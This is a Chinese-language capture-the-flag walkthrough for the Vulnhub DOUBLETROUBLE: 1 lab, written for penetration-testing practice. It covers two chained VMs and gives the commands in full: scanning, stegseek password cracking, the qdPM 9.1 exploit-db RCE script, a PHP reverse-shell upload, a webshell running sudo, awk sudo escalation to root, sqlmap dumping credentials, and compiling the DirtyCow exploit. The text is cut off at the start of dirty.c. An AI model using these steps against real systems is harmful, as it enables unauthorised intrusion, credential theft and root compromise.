【Vulnhub靶场】DOUBLETROUBLE: 1 通关writeup

---

---

环境准备

靶机地址：https://www.vulnhub.com/entry/doubletrouble-1,743/

kali攻击机ip：192.168.220.128
靶机 ip：

靶机地址：
使用命令：

arp-scan -l   

探测发现是：192.168.220.130

信息搜集

nmap -T4 -p- -A 192.168.220.130 

发现开放22、80端口，打开80端口，发现是一个登录口，弱口令爆破无果，扫目录试试。

dirb http://192.168.220.130/

找了扫出来的目录，在secret下面有个图片，看起来有点奇怪。

使用exiftool查看图片的详细信息，没有什么发现。不排除隐写的可能，使用stegseek来破解图片。stegseek的github网址：https://github.com/RickdeJager/stegseek。
字典使用kali自带的rockyou.txt。

apt install ./stegseek_0.6-1.deb
stegseek ./doubletrouble.jpg /usr/share/wordlists/rockyou.txt
cat doubletrouble.jpg.out

拿到密码后直接登录就完事了。

漏洞利用

登陆后收集到cms是qdPM9.1 ，github搜一下历史漏洞，没啥发现，expdb搜一下，找到了这个 https://www.exploit-db.com/exploits/50175

下载好执行脚本，发现报错了，打开看一下 是有些换行不对，把换行不对的地方改一下，成功运行。

python3 50175.py -url http://192.168.220.130/ -u otisrush@localhost.com -p otis666 

成功拿webshell，下一步看下反弹个nc把，一直没成功。自己上传个shell算了。burp抓包，在修改个人信息的地方，修改后缀直接上传成功。然后监听，并获取到一个shell。

shell 生成网站  https://www.revshells.com/  使用PHP pentestmonkey

权限提升

查看一下当前的权限列表，发现是有一个awk，可以无密码执行

http://192.168.220.130//uploads/users/795484-backdoor.php?cmd=sudo%20-l

sudo awk 'BEGIN {system("/bin/sh")}'

https://gtfobins.github.io/gtfobins/awk/

执行命令 ，成功获得root。然而并没有得到flag，反而是给了一个镜像，下载一波试试。

python3 -m http.server 9000
本机浏览器直接下载打开 http://192.168.220.130:9000/

第二个靶机

环境准备

kali攻击机ip：192.168.220.128

靶机地址：
使用命令：

arp-scan -l   

探测发现是：192.168.220.131

信息搜集

nmap -T4 -p- -A 192.168.220.131

只有22和80端口开放，80端口是个登录框。照例爆破一波，没有弱口令。登录处用sqlmap跑一下，登陆包抓取后放txt。

sqlmap -r 1.txt --batch  
sqlmap -r 1.txt --batch --current-db   //当前数据库
sqlmap -r 1.txt --batch -D doubletrouble --tables //枚举该库的表
sqlmap -r 1.txt --batch -T users --dump //枚举该表的数据

拿到两个账号，密码，分别登录web和ssh试试。

web登陆不了，ssh只有一个登录成功，拿到第一个flag

查看系统版本，该版本的提权可以使用脏牛漏洞。下载编译执行后可以成功获取最后一个flag。

uname -a 
vi dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
输入密码，然后切换到新的账号
su firefart

dirty.c

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a ba